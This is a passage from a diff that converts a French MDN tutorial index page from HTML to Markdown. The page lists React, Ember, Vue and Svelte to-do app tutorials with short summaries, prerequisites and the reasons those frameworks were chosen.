href="/fr/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/React_interactivity_filtering_conditional_rendering">5. Interactivité de React: modification, filtrage, rendu conditionné</a></dt> - <dd>Alors que nous approchons de la fin de notre voyage React (pour l'instant du moins), nous ajouterons la touche finale aux principaux domaines de fonctionnalités de notre application de liste de tâches. Cela comprend la possibilité de modifier les tâches existantes et de filtrer la liste des tâches entre toutes les tâches, terminées et incomplètes. Nous examinerons le rendu conditionné de l'interface utilisateur en cours de route.</dd> - <dt><a href="/fr/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/React_accessibility">6. Accessibilité dans React</a></dt> - <dd>Dans notre avant-dernier article du tutoriel, nous nous concentrerons sur l'accessibilité, y compris la gestion de la mise au point dans React, ce qui peut améliorer la convivialité et réduire la confusion pour les utilisateurs de clavier uniquement et de lecteur d'écran.</dd> - <dt><a href="/fr/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/React_resources">7. Ressources sur React</a></dt> - <dd>Notre dernier article vous fournit une liste de ressources sur React que vous pouvez utiliser pour aller plus loin dans votre apprentissage.</dd> -</dl> - -<h2 id="Tutoriels_sur_Ember">Tutoriels sur Ember</h2> - -<div class="note"> -<p><strong>Note :</strong> Les tutoriels Ember ont été essayés pour la dernière fois en Mai 2020, avec Ember/Ember CLI version 3.18.0.</p> - -<p>Si vous avez besoin de vérifier votre code par rapport à notre version, vous pouvez trouver une version finale de l'exemple de code d'application Ember dans le Ember app code in the <a href="https://github.com/NullVoxPopuli/ember-todomvc-tutorial/tree/master/steps/00-finished-todomvc/todomvc">ember-todomvc-tutorial repository</a>. Pour une version exécutable en direct, voir <a href="https://nullvoxpopuli.github.io/ember-todomvc-tutorial/">https://nullvoxpopuli.github.io/ember-todomvc-tutorial/</a> (cela inclut également quelques fonctionnalités supplémentaires non couvertes dans le tutoriel).</p> -</div> - -<dl> - <dt><a href="/fr/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Ember_getting_started">1. Premiers pas avec Ember</a></dt> - <dd>Dans notre premier article sur Ember, nous verrons comment fonctionne Ember et ce à quoi il sert, installerons la chaine d'outils d'Ember localement, créerons un exemple d'application, puis effectuerons une configuration initiale pour la préparer au développement.</dd> - <dt><a href="/fr/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Ember_structure_componentization">2. Structure et composant de l'application Ember</a></dt> - <dd>Dans cet article, nous commencerons à planifier la structure de notre application TodoMVC Ember, à ajouter du code HTML correspondant, puis nous diviserons cette structure HTML en composants.</dd> - <dt><a href="/fr/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Ember_interactivity_events_state">3. Interactivité Ember : évènements, classes et états</a></dt> - <dd>À ce stade, nous allons commencer à ajouter de l'interactivité à notre application, offrant la possibilité d'ajouter et d'afficher de nouveaux éléments à notre liste. En cours de route, nous examinerons l'utilisation d'évènements dans Ember, la création de classes de composants pour contenir du code JavaScript pour contrôler les fonctionnalités interactives et la configuration d'un service pour suivre l'état des données de notre application.</dd> - <dt><a href="/fr/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Ember_conditional_footer">4. Interactivité Ember : fonctionnalité du Footer, rendu conditionné</a></dt> - <dd>Il est maintenant temps de commencer à aborder la fonctionnalité de footer dans notre application. Ici, nous allons mettre à jour le compteur de tâches pour afficher le nombre correct de tâches à compléter et appliquer correctement le style aux tâches terminées (c'est-à-dire là dont la case a été cochée). Nous allons également câbler notre bouton "Effacer terminé". En cours de route, nous découvrirons comment utiliser le rendu conditionné dans nos modèles.</dd> - <dt><a href="/fr/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Ember_routing">5. Routage dans Ember</a></dt> - <dd>Dans cet article, nous apprendrons les bases du routage avec Ember. Nous l'utiliserons pour fournir une URL unique pour chacune des trois vues à faire : "Tous", "Actif", et "Terminé".</dd> - <dt><a href="/fr/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Ember_resources">6. Ressources sur Ember et dépannage</a></dt> - <dd>Notre dernier article sur Ember vous fournit une liste de ressources que vous pouvez utiliser pour aller plus loin dans votre apprentissage, ainsi que des dépannages utiles et d'autres informations.</dd> -</dl> - -<h2 id="Tutoriels_sur_Vue">Tutoriels sur Vue</h2> - -<div class="note"> -<p><strong>Note :</strong> Les tutoriels sur Vue ont été essayés pour la dernière fois en mai 2020, avec Vue 2.6.11.</p> - -<p>Si vous avez besoin de vérifier votre code par rapport à notre version, vous pouvez trouver une version terminée de l'exemple de code d'application Vue dans notre <a href="https://github.com/mdn/todo-vue">todo-vue repository</a>. Pour une version exécutable en direct, voir <a href="https://mdn.github.io/todo-vue/dist/">https://mdn.github.io/todo-vue/dist/</a>.</p> -</div> - -<dl> - <dt><a href="/fr/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Vue_getting_started">1. Premiers pas avec Vue</a></dt> - <dd>Maintenant, introduisons Vue, le troisième de nos frameworks. Dans cet article, nous allons examiner un peu le contexte de Vue, apprendre à l'installer et créer un nouveau projet, étudier la structure de haut niveau de l'ensemble du projet et d'un composant individuel, voir comment exécuter le projet localement, et préparez-le à commencer à construire notre exemple.</dd> - <dt><a href="/fr/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Vue_first_component">2. Création de notre premier composant Vue</a></dt> - <dd>Il est maintenant temps de plonger plus profondément dans Vue et de créer notre propre composant personnalisé (nous commencerons par créer un composant pour représenter chaque élément de la liste de tâches). En cours de route, nous découvrirons quelques concepts importants tels que l'appel de composants à l'intérieur d'autres composants, leur transmission de données via des accessoires et l'enregistrement de l'état des données.</dd> - <dt><a href="/fr/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Vue_rendering_lists">3. Rendu d'une liste de composants Vue</a></dt> - <dd>À ce stade, nous avons un composant entièrement fonctionnel ; nous sommes maintenant prêts à ajouter plusieurs composants <code>ToDoItem</code> à notre application. Dans cet article, nous examinerons l'ajout d'un ensemble de données d'élément todo à notre composant <code>App.vue</code> que nous allons ensuite parcourir et afficher à l'intérieur des composants <code>ToDoItem</code> à l'aide de la directive <code>v-for</code>.</dd> - <dt><a href="/fr/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Vue_methods_events_models">4. Ajout d'un nouveau formulaire todo: évènements, méthodes, et modèles Vue</a></dt> - <dd>Nous avons maintenant des exemples de données en place et une boucle qui prend chaque bit de données et le rend dans un <code>ToDoItem</code> dans notre application. Ce dont nous avons vraiment besoin ensuite, c'est la possibilité de permettre à nos utilisateurs de saisir leurs propres éléments à faire dans l'application, et pour cela, nous aurons besoin d'un texte <code><input></code>, un évènement à déclencher lorsque les données sont soumises, une méthode de déclenchement lors de la soumission pour ajouter les données et relancer la liste, et un modèle pour contrôler les données. C'est ce que nous allons couvrir dans cet article.</dd> - <dt><a href="/fr/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Vue_styling">5. Styliser les composants Vue avec CSS</a></dt> - <dd>Le moment est enfin venu de rendre notre application un peu plus jolie. Dans cet article, nous explorerons les différentes façons de styliser les composants Vue avec CSS.</dd> - <dt><a href="/fr/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Vue_computed_properties">6. Utilisation des propriétés calculées de Vue</a></dt> - <dd>Dans cet article, nous allons ajouter un compteur qui affiche le nombre d'éléments à faire terminés, en utilisant une fonctionnalité de Vue appelée propriétés calculées. Celles-ci fonctionnent de la même manière que les méthodes, mais ne sont réexécutées que lorsque l'une de leurs dépendances change.</dd> - <dt><a href="/fr/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Vue_conditional_rendering">7. Rendu conditionnel Vue : éditer les todos existants</a></dt> - <dd>Il est maintenant temps d'ajouter l'un des éléments majeurs de la fonctionnalité qui nous manque toujours: la possibilité de modifier les éléments todos existants. Pour ce faire, nous profiterons des capacités de rendu conditionnel de Vue — à savoir <code>v-if</code> et <code>v-else</code> — pour nous permettre de basculer entre la vue d'élément todo existante et une vue d'édition où vous pouvez mettre à jour les étiquettes d'élément todo. Nous examinerons également l'ajout de fonctionnalités pour supprimer les éléments todo.</dd> - <dt><a href="/fr/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Vue_refs_focus_management">8. Gestion de la mise au poinr avec les références de Vue</a></dt> - <dd>Nous en avons presque terminé avec Vue. La dernière fonctionnalité à implanter est la gestion de la mise au point, ou en d'autres termes, la façon dont nous pouvons améliorer l'accessibilité du clavier de notre application. Nous allons examiner l'utilisation des références de Vue pour gérer cela, une fonctionnalité avancée qui vous permet d'avoir un accès direct aux nœuds DOM sous-jacents sous le DOM virtuel, ou un accès direct d'un composant à la structure DOM interne d'un composant enfant.</dd> - <dt><a href="/fr/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Vue_resources">9. Ressources Vue</a></dt> - <dd>Nous allons maintenant terminer notre étude de Vue en vous donnant une liste de ressources que vous pouvez utiliser pour aller plus loin dans votre apprentissage, ainsi que d'autres conseils utiles.</dd> -</dl> - -<h2 id="Tutoriels_sur_Svelte">Tutoriels sur Svelte</h2> - -<div class="note"> -<p><strong>Note :</strong> Les tutoriels sur Svelte ont été essayés pour la dernière fois en aout 2020, avec Svelte 3.24.1.</p> - -<p>Si vous avez besoin de vérifier votre code par rapport à notre version, vous pouvez trouver une version terminée de l'exemple eu code de l'application Svelte (tel qu'il est après chaque chapitre) dans le dépôt <a href="https://github.com/opensas/mdn-svelte-tutorial">mdn-svelte-tutorial</a>. Pour une version exécutable en direct, voir <a href="https://svelte.dev/repl/378dd79e0dfe4486a8f10823f3813190?version=3.23.2">https://svelte.dev/repl/378dd79e0dfe4486a8f10823f3813190?version=3.23.2</a>.</p> -</div> - -<dl> - <dt><a href="/fr/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Svelte_getting_started">1. Premiers pas avec Svelte</a></dt> - <dd>Dans cet articles, nous vous proposerons une brève introduction au framework Svelte. Nous verrons comment Svelte fonctionne et qu'est-ce qui le rend si différent des autrse frameworks et outils que nous avons vus jusqu'à présent. Ensuite, nous apprendronds à mettre en place notre environnement de développement, créerons une application démonstrative, appréhenderons la structure du projet et nous verrons comment la mettre en oeuvre localement puis la compiler pour la mettre en production.</dd> -</dl> - -<dl> - <dt><a href="/fr/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Svelte_Todo_list_beginning">2. Commencer notre application todolist avec Svelte</a></dt> - <dd>Maintenant que nous avons compris les bases du fonctionnement de Svelte, nous pouvons commencer à construirer application démonstrative : une liste de tâches. Dans cet article, nous verrons d'abord les fonctionnalités attendues dans notre application, puis nous créerons un composant Todos.svelte et mettrons en place un HTML statique et du CSS, prêts pour commencer le développement des fonctionnalités de notre application de liste de tâches avec laquelle nous continuerons dans les articles suivants.</dd> - <dt><a href="/fr/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Svelte_variables_props">3. Comportements dynamiques dans Svelte : travailler avec les variables et les propriétés</a></dt> - <dd>Maintenant que nous avons HTML et notre CSS, nous pouvons commencer le développement des fonctionnalités attendues pour notre application de liste de tâches Svelte. Dans cet article, nous utiliserons des variables et propriétés pour rendre notre application dynamique, nous permettant d'ajouter et de supprimer des tâches, de les marquer comme terminées et de les filter par état.</dd> - <dt><a href="/fr/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Svelte_components">4. Diviser notre application Svelte en composants</a></dt> - <dd>L'objectif principal de cet article est de voir comment nous pouvons diviser notre application en composants gérables et partager l'information entre eux. Nous décomposerons notre application puis y ajouterons plus de fonctionnalités pour permettre aux utilisateurs de modifier des composants existants.</dd> - <dt><a href="/fr/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Svelte_reactivity_lifecycle_accessibility">5. Svelte avancé : réactivité, cycle de vie et accessibilité</a></dt> - <dd>Dans cet articles, nous ajouterons les dernières fonctionnalités de l'application et nous pousserons la décomposition de notre application encore plus loin. Nous apprendrons comment résoudre des problèmes de réactivité liés à la mise à jour d'objets et de tableaux. Pour éviter les erreurs communes, nous devrons nous explorer plus profondément le système de réactivité de Svelte. nous verrons aussi comment résoudre certaines problèmes de mise au point pour l'accessibilité et plus encore.</dd> - <dt><a href="/fr/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Svelte_stores">6. Travailler avec le stockage de Svelte</a></dt> - <dd>Dans cet article, nous vous montrerons une autre manière de gérer les états avec Svelte : les stockages Stores. Les Stores sont des répertoires de données globaux qui contiennent des valeurs. Les composants peuvent s'abonner aux stockages et recevoir des notifications que leurs valeurs changent.</dd> - <dt><a href="/fr/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Svelte_TypeScript">7. Support de TypeScript avec Svelte</a></dt> - <dd>Nous allons maintenant apprendre à utiliser TypeScript dans nos applications Svelte. D'abord, nous apprendrons ce qu'est TypeScript et quels bénéfices il peut nous apporter, puis nous verrons ensemble comment configurer notre projet pour travailler avec des fichiers TypeScript. Enfin, nous parcourerons notre application pour voir ce que nous pouvons y changer pour tirer pleinement parti des fonctionnalités de TypeScript.</dd> - <dt><a href="/fr/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Svelte_deployment_next">8. Déploiement et étapes suivantes</a></dt> - <dd>Dans ce dernier article, nous verrons comment déployer votre application et la mettre en ligne et nous vous partagerons quelques-unes des ressources auxquelles vous devriez jeter un oeil pour poursuivre votre apprentissage de Svelte.</dd> -</dl> - -<h2 id="Quels_frameworks_avons-nous_choisis">Quels frameworks avons-nous choisis ?</h2> - -<p>Nous publions notre première série d'articles accompagné de guides axés sur quatre frameworks. Trois d'entre eux sont très populaires et bien établis (React/ReactDOM, Ember et Vue) tandis que Svelte est un nouveau prometteur et qui a déjà gagné beaucoup en popularité dernièrement.</p> - -<p>Il existe plusieurs raisons à ceci :</p> - -<ul> - <li>Ce sont des outils populaires qui dureront un certain temps – comme avec tout outil logiciel, il est bon de s'en tenir à des outils activement développés et qui ne seront probablement pas interrompus la semaine prochaine et qui constitueront des atouts considérables à vos compétences lorsque vous cherchez un emploi,</li> - <li>Ils ont des communautés solides et de bonnes documentations. C'est très important pour être en mesure de recevoir de l'aide lors de votre apprentissage d'un sujet complexe, surtout lorsque vous débutez.</li> - <li>Nous n'avons pas les ressources nécessaires pour couvrir <em>tous</em> les frameworks modernes. De toute façon, cette liste serait très difficile à tenir à jour car de nouveaux apparaissent tout le temps.</li> - <li>En tant que débutant, choisir sur quoi se pencher parmi le grand nombre de choix disponibles est un problème très réel. Faire en sorte que cette liste soit courte est donc utile.</li> -</ul> - -<p>Disons-le franchement : nous n'avons <strong>pas</strong> choisi les frameworks sur lesquels nous nous concentrons parce que nous pensons qu'ils sont les meilleurs ou parce que nous les soutenons de quelque manière que ce soit. Nous pensons seulement qu'ils correspondent le mieux aux critères établis ci-avant.</p> - -<p>Notez que nous espérions avoir plus de frameworks inclus lors de la publication initiale, mais nous avons décidé de publier le contenu, puis d'ajouter plus de guides de framework plus tard plutôt que de le retarder l'édition. Si votre framework préféré n'est pas représenté dans ce contenu et que vous souhaitez faire changer cela, n'hésitez pas à en discuter avec nous ! Contactez-nous via <a href="https://wiki.mozilla.org/Matrix">Matrix</a>, ou <a href="https://discourse.mozilla.org/c/mdn">Discourse</a>, ou envoyez-nous un mail sur la <a href="mailto:mdn-admins@mozilla.org">liste mdn-admins</a>.</p> +**[Commencez dès maintenant, avec "Introduction aux frameworks côté client"](/fr/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Introduction)** + +## Prérequis + +Vous devez vraiment connaitre les bases des principaux langages du web ([HTML](/fr/docs/Learn/HTML), [CSS](/fr/docs/Learn/CSS), et particulièrement [JavaScript](/fr/docs/Learn/JavaScript)) avant d'essayer de vous lancer dans l'apprentissage des frameworks côté client. + +Votre code n'en sera que plus qualitatif et plus professionnel, et vous serez en mesure de résoudre vos problèmes avec plus de confiance si vous comprenez les fonctionnalités fondamentales du web sur lesquelles les frameworks s'appuient. + +### Vous voulez devenir développeur web front-end ? + +Nous avons créé un cours qui inclut toutes les informations essentielles dont vous avez besoin pour atteindre votre objectif. + +[Commencer](/fr/docs/Learn/Front-end_web_developer) + +## Guides d'introduction + +- [1. Introduction aux frameworks côté client](/fr/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Introduction) + - : Nous commençons notre aperçu des frameworks par un tour d'horizon général du domaine, notamment en regardant un bref historique de JavaScript et des frameworks, la raison pour laquelle les frameworks existent et ce qu'ils nous proposent, comment commencer à réfléchir au choix d'un framework à apprendre et quelles alternatives il y a aux frameworks côté client. +- [2. Principales caractéristiques du Framework](/fr/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Main_features) + - : Chaque framework JavaScript majeur a une approche différente de la mise à jour du DOM, de la gestion des évènements du navigateur et de la manière dont rendre l'expérience de développement agréable. Cet article explorera les principales caractéristiques des 4 grands frameworks, en examinant comment les frameworks ont tendance à fonctionner à un haut niveau et les différences entre eux. + +## Tutoriels sur React + +> **Note :** Les tutoriels sur React ont été essayés pour la dernière fois en mai 2020, avec React/ReactDOM 16.13.1 et create-react-app 3.4.1. +> +> Si vous avez besoin de vérifier votre code par rapport à notre version, vous pouvez trouver une version finale de l'exemple de code d'application React dans notre [todo-react repository](https://github.com/mdn/todo-react). Pour une version exécutable en direct, voir <https://mdn.github.io/todo-react-build/>. + +- [1. Premier pas avec React](/fr/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/React_getting_started) + - : Dans cet article, nous dirons bonjour à React. Nous découvrirons les prémices de son fonctionnement et de ses cas d'utilisation, configurerons une chaine d'outils React de base sur notre ordinateur local et créerons et jouerons avec une application de démarrage simple, en apprenant un peu plus sur le fonctionnement de React dans le processus. +- [2. Début de notre liste de tâches React](/fr/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/React_todo_list_beginning) + - : Supposons que nous ayons été chargés de créer une preuve de concept dans React – une application qui permet aux utilisateurs d'ajouter, de modifier et de supprimer les tâches sur lesquelles ils souhaitent travailler, ainsi que de marquer les tâches comme terminées sans les supprimer. Cet article vous guidera tout au long de la mise en place de la structure et du style des composants de base de l'application, prêts pour la définition et l'interactivité des composants individuels, que nous ajouterons plus tard. +- [3. Diviser notre application React en composants](/fr/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/React_components) + - : À ce stade, notre application est un monolithe. Avant de pouvoir lui faire faire des choses, nous devons le diviser en composants descriptifs gérables. React n'a pas de règles strictes pour ce qui est et n'est pas un composant - c'est à vous de décider ! Dans cet article, nous allons vous montrer un moyen judicieux de diviser notre application en composants. +- [4. Interactivité de React: évènements et états](/fr/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/React_interactivity_events_state) + - : Une fois notre plan de composants élaboré, il est maintenant temps de commencer à faire évoluer notre application d'une interface utilisateur complètement statique vers une interface qui nous permet réellement d'interagir et de modifier des choses. Dans cet article, nous allons le faire, en explorant les évènements et les états en cours de route. +- [5. Interactivité de React: modification, filtrage, rendu conditionné](/fr/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/React_interactivity_filtering_conditional_rendering) + - : Alors que nous approchons de la fin de notre voyage React (pour l'instant du moins), nous ajouterons la touche finale aux principaux domaines de fonctionnalités de notre application de liste de tâches. Cela comprend la possibilité de modifier les tâches existantes et de filtrer la liste des tâches entre toutes les tâches, terminées et incomplètes. Nous examinerons le rendu conditionné de l'interface utilisateur en cours de route. +- [6. Accessibilité dans React](/fr/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/React_accessibility) + - : Dans notre avant-dernier article du tutoriel, nous nous concentrerons sur l'accessibilité, y compris la gestion de la mise au point dans React, ce qui peut améliorer la convivialité et réduire la confusion pour les utilisateurs de clavier uniquement et de lecteur d'écran. +- [7. Ressources sur React](/fr/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/React_resources) + - : Notre dernier article vous fournit une liste de ressources sur React que vous pouvez utiliser pour aller plus loin dans votre apprentissage. + +## Tutoriels sur Ember + +> **Note :** Les tutoriels Ember ont été essayés pour la dernière fois en Mai 2020, avec Ember/Ember CLI version 3.18.0. +> +> Si vous avez besoin de vérifier votre code par rapport à notre version, vous pouvez trouver une version finale de l'exemple de code d'application Ember dans le Ember app code in the [ember-todomvc-tutorial repository](https://github.com/NullVoxPopuli/ember-todomvc-tutorial/tree/master/steps/00-finished-todomvc/todomvc). Pour une version exécutable en direct, voir <https://nullvoxpopuli.github.io/ember-todomvc-tutorial/> (cela inclut également quelques fonctionnalités supplémentaires non couvertes dans le tutoriel). + +- [1. Premiers pas avec Ember](/fr/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Ember_getting_started) + - : Dans notre premier article sur Ember, nous verrons comment fonctionne Ember et ce à quoi il sert, installerons la chaine d'outils d'Ember localement, créerons un exemple d'application, puis effectuerons une configuration initiale pour la préparer au développement. +- [2. Structure et composant de l'application Ember](/fr/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Ember_structure_componentization) + - : Dans cet article, nous commencerons à planifier la structure de notre application TodoMVC Ember, à ajouter du code HTML correspondant, puis nous diviserons cette structure HTML en composants. +- [3. Interactivité Ember : évènements, classes et états](/fr/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Ember_interactivity_events_state) + - : À ce stade, nous allons commencer à ajouter de l'interactivité à notre application, offrant la possibilité d'ajouter et d'afficher de nouveaux éléments à notre liste. En cours de route, nous examinerons l'utilisation d'évènements dans Ember, la création de classes de composants pour contenir du code JavaScript pour contrôler les fonctionnalités interactives et la configuration d'un service pour suivre l'état des données de notre application. +- [4. Interactivité Ember : fonctionnalité du Footer, rendu conditionné](/fr/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Ember_conditional_footer) + - : Il est maintenant temps de commencer à aborder la fonctionnalité de footer dans notre application. Ici, nous allons mettre à jour le compteur de tâches pour afficher le nombre correct de tâches à compléter et appliquer correctement le style aux tâches terminées (c'est-à-dire là dont la case a été cochée). Nous allons également câbler notre bouton "Effacer terminé". En cours de route, nous découvrirons comment utiliser le rendu conditionné dans nos modèles. +- [5. Routage dans Ember](/fr/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Ember_routing) + - : Dans cet article, nous apprendrons les bases du routage avec Ember. Nous l'utiliserons pour fournir une URL unique pour chacune des trois vues à faire : "Tous", "Actif", et "Terminé". +- [6. Ressources sur Ember et dépannage](/fr/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Ember_resources) + - : Notre dernier article sur Ember vous fournit une liste de ressources que vous pouvez utiliser pour aller plus loin dans votre apprentissage, ainsi que des dépannages utiles et d'autres informations. + +## Tutoriels sur Vue + +> **Note :** Les tutoriels sur Vue ont été essayés pour la dernière fois en mai 2020, avec Vue 2.6.11. +> +> Si vous avez besoin de vérifier votre code par rapport à notre version, vous pouvez trouver une version terminée de l'exemple de code d'application Vue dans notre [todo-vue repository](https://github.com/mdn/todo-vue). Pour une version exécutable en direct, voir <https://mdn.github.io/todo-vue/dist/>. + +- [1. Premiers pas avec Vue](/fr/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Vue_getting_started) + - : Maintenant, introduisons Vue, le troisième de nos frameworks. Dans cet article, nous allons examiner un peu le contexte de Vue, apprendre à l'installer et créer un nouveau projet, étudier la structure de haut niveau de l'ensemble du projet et d'un composant individuel, voir comment exécuter le projet localement, et préparez-le à commencer à construire notre exemple. +- [2. Création de notre premier composant Vue](/fr/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Vue_first_component) + - : Il est maintenant temps de plonger plus profondément dans Vue et de créer notre propre composant personnalisé (nous commencerons par créer un composant pour représenter chaque élément de la liste de tâches). En cours de route, nous découvrirons quelques concepts importants tels que l'appel de composants à l'intérieur d'autres composants, leur transmission de données via des accessoires et l'enregistrement de l'état des données. +- [3. Rendu d'une liste de composants Vue](/fr/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Vue_rendering_lists) + - : À ce stade, nous avons un composant entièrement fonctionnel ; nous sommes maintenant prêts à ajouter plusieurs composants `ToDoItem` à notre application. Dans cet article, nous examinerons l'ajout d'un ensemble de données d'élément todo à notre composant `App.vue` que nous allons ensuite parcourir et afficher à l'intérieur des composants `ToDoItem` à l'aide de la directive `v-for`. +- [4. Ajout d'un nouveau formulaire todo: évènements, méthodes, et modèles Vue](/fr/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Vue_methods_events_models) + - : Nous avons maintenant des exemples de données en place et une boucle qui prend chaque bit de données et le rend dans un `ToDoItem` dans notre application. Ce dont nous avons vraiment besoin ensuite, c'est la possibilité de permettre à nos utilisateurs de saisir leurs propres éléments à faire dans l'application, et pour cela, nous aurons besoin d'un texte `<input>`, un évènement à déclencher lorsque les données sont soumises, une méthode de déclenchement lors de la soumission pour ajouter les données et relancer la liste, et un modèle pour contrôler les données. C'est ce que nous allons couvrir dans cet article. +- [5. Styliser les composants Vue avec CSS](/fr/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Vue_styling) + - : Le moment est enfin venu de rendre notre application un peu plus jolie. Dans cet article, nous explorerons les différentes façons de styliser les composants Vue avec CSS. +- [6. Utilisation des propriétés calculées de Vue](/fr/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Vue_computed_properties) + - : Dans cet article, nous allons ajouter un compteur qui affiche le nombre d'éléments à faire terminés, en utilisant une fonctionnalité de Vue appelée propriétés calculées. Celles-ci fonctionnent de la même manière que les méthodes, mais ne sont réexécutées que lorsque l'une de leurs dépendances change. +- [7. Rendu conditionnel Vue : éditer les todos existants](/fr/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Vue_conditional_rendering) + - : Il est maintenant temps d'ajouter l'un des éléments majeurs de la fonctionnalité qui nous manque toujours: la possibilité de modifier les éléments todos existants. Pour ce faire, nous profiterons des capacités de rendu conditionnel de Vue — à savoir `v-if` et `v-else` — pour nous permettre de basculer entre la vue d'élément todo existante et une vue d'édition où vous pouvez mettre à jour les étiquettes d'élément todo. Nous examinerons également l'ajout de fonctionnalités pour supprimer les éléments todo. +- [8. Gestion de la mise au poinr avec les références de Vue](/fr/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Vue_refs_focus_management) + - : Nous en avons presque terminé avec Vue. La dernière fonctionnalité à implanter est la gestion de la mise au point, ou en d'autres termes, la façon dont nous pouvons améliorer l'accessibilité du clavier de notre application. Nous allons examiner l'utilisation des références de Vue pour gérer cela, une fonctionnalité avancée qui vous permet d'avoir un accès direct aux nœuds DOM sous-jacents sous le DOM virtuel, ou un accès direct d'un composant à la structure DOM interne d'un composant enfant. +- [9. Ressources Vue](/fr/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Vue_resources) + - : Nous allons maintenant terminer notre étude de Vue en vous donnant une liste de ressources que vous pouvez utiliser pour aller plus loin dans votre apprentissage, ainsi que d'autres conseils utiles. + +## Tutoriels sur Svelte + +> **Note :** Les tutoriels sur Svelte ont été essayés pour la dernière fois en aout 2020, avec Svelte 3.24.1. +> +> Si vous avez besoin de vérifier votre code par rapport à notre version, vous pouvez trouver une version terminée de l'exemple eu code de l'application Svelte (tel qu'il est après chaque chapitre) dans le dépôt [mdn-svelte-tutorial](https://github.com/opensas/mdn-svelte-tutorial). Pour une version exécutable en direct, voir <https://svelte.dev/repl/378dd79e0dfe4486a8f10823f3813190?version=3.23.2>. + +- [1. Premiers pas avec Svelte](/fr/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Svelte_getting_started) + - : Dans cet articles, nous vous proposerons une brève introduction au framework Svelte. Nous verrons comment Svelte fonctionne et qu'est-ce qui le rend si différent des autrse frameworks et outils que nous avons vus jusqu'à présent. Ensuite, nous apprendronds à mettre en place notre environnement de développement, créerons une application démonstrative, appréhenderons la structure du projet et nous verrons comment la mettre en oeuvre localement puis la compiler pour la mettre en production. + +<!----> + +- [2. Commencer notre application todolist avec Svelte](/fr/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Svelte_Todo_list_beginning) + - : Maintenant que nous avons compris les bases du fonctionnement de Svelte, nous pouvons commencer à construirer application démonstrative : une liste de tâches. Dans cet article, nous verrons d'abord les fonctionnalités attendues dans notre application, puis nous créerons un composant Todos.svelte et mettrons en place un HTML statique et du CSS, prêts pour commencer le développement des fonctionnalités de notre application de liste de tâches avec laquelle nous continuerons dans les articles suivants. +- [3. Comportements dynamiques dans Svelte : travailler avec les variables et les propriétés](/fr/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Svelte_variables_props) + - : Maintenant que nous avons HTML et notre CSS, nous pouvons commencer le développement des fonctionnalités attendues pour notre application de liste de tâches Svelte. Dans cet article, nous utiliserons des variables et propriétés pour rendre notre application dynamique, nous permettant d'ajouter et de supprimer des tâches, de les marquer comme terminées et de les filter par état. +- [4. Diviser notre application Svelte en composants](/fr/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Svelte_components) + - : L'objectif principal de cet article est de voir comment nous pouvons diviser notre application en composants gérables et partager l'information entre eux. Nous décomposerons notre application puis y ajouterons plus de fonctionnalités pour permettre aux utilisateurs de modifier des composants existants. +- [5. Svelte avancé : réactivité, cycle de vie et accessibilité](/fr/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Svelte_reactivity_lifecycle_accessibility) + - : Dans cet articles, nous ajouterons les dernières fonctionnalités de l'application et nous pousserons la décomposition de notre application encore plus loin. Nous apprendrons comment résoudre des problèmes de réactivité liés à la mise à jour d'objets et de tableaux. Pour éviter les erreurs communes, nous devrons nous explorer plus profondément le système de réactivité de Svelte. nous verrons aussi comment résoudre certaines problèmes de mise au point pour l'accessibilité et plus encore. +- [6. Travailler avec le 